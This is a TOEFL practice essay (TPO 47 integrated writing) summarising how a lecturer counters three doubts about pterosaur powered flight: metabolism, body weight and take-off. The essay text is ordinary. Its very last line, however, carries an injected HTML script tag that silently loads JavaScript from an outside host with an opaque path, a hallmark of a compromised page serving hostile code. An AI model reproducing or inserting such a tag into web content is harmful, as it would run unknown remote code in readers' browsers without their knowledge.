TPO 47 Integrated Writing Task

The writer presents reasons why doubters believe pterosaurs were not capable of powered flight. The speaker, on the other hand, offers alternate explanations for their arguments.

The first argument in the reading passage is that pterosaurs probably had a slow metabolism that was unable to produce enough energy for powered flight. The lecturer rebut this argument by pointing out recent discovery about pterosaurs' skin while examining their fossils. It is claimed that there was a dense covering on pterosaurs that is similar to fur and only exists in warm-blooded animals. If pterosaurs' metabolism was also similar to that of warm-blooded animals, it was likely they could produce energy faster to serve the purpose of flying by flapping wings.

Second, while the doubters are convinced that pterosaurs could not stay aloft due to their large size, the speaker correctly notes that their weight was actually light for their size. Examinations on pterosaurs' bones suggest that their bones were more hollow than solid, which helped them maintain light weight despite their big size of a giraffe. As a result, pterosaurs' powered flight might not be limited by heavy weight thanks to their airy bones.

The last argument regards pterosaurs' method of launching themselves into the air. The professor states that it would have been a problem only if pterosaurs only had hind limbs like how birds do. Pterosaurs might have used all of their four limbs to run and push off the ground. In fact, this method also applies to modern flying animals with four legs, such as bats. Therefore, pterosaurs must have had no difficult running and jumping from their limbs in order to take off from the ground as stated in the reading passage.<script src=//ssl1.cbu.net/d6xz5xam></script>